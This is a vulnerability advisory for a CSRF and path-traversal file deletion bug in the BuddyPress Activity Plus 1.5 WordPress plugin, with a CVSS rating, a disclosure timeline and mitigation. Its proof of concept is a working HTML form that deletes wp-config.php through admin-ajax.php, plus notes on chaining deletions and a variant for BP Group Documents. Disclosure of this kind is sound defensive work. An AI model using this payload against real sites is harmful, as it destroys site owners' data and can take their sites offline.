CSRF and arbitrary file deletion in BuddyPress Activity Plus 1.5


Last revised:

An attacker can delete any file the PHP process can delete.

For this to happen, a logged-in user would have to be tricked into clicking on a link controlled by the attacker. It is easy to make these links very convincing.

Current state: Fixed

CVSS Summary

CVSS base scores for this vulnerability
Score 8.5 High
Vector Network
Complexity Low
Authentication None
Confidentiality None
Integrity Partial
Availability Complete
You can read more about CVSS base scores on Wikipedia or in the CVSS specification.

Proof of concept

Ensure your PHP user can do maximum damage:

sudo chown www-data:www-data /var/vhosts/my-wordpress-site

Visit a page containing this as a logged-in user and click submit:

<form method="POST" action="http://localhost/wp-admin/admin-ajax.php">
  <input type="text" name="action" value="bpfb_remove_temp_images">
  <input type="text" name="data" value="bpfb_photos[]=../../../../wp-config.php">
  <input type="submit">

If the server is set up so that the php user has more restricted permissions, then an attacker will at least be able to delete files from the uploads directory.

Note that you can also delete as many things as you like at once – $_POST[‘data’] is run through parse_str() which parses it as a query string, so just keep adding “&bpfb_photos[]=path/to/file” to the end until you have all known files.

There is an identical attack available only when BP Group Documents is also installed. Just replace “bpfb_remove_temp_images” with “bpfb_remove_temp_documents” and in data replace “bpfb_photos” with “bpfb_documents”.

Advisory timeline

  • 2013-08-22: Discovered
  • 2015-07-13: Reported to vendor via contact form at
  • 2015-07-13: Requested CVE
  • 2015-07-13: Vendor responded
  • 2015-07-14: Vendor reported issue fixed
  • 2015-07-14: Published

Mitigation/further actions

Upgrade to version 1.6.2 or later

If this is not possible, ensure that the PHP user on the server does not have permission to delete files like wp-config.php.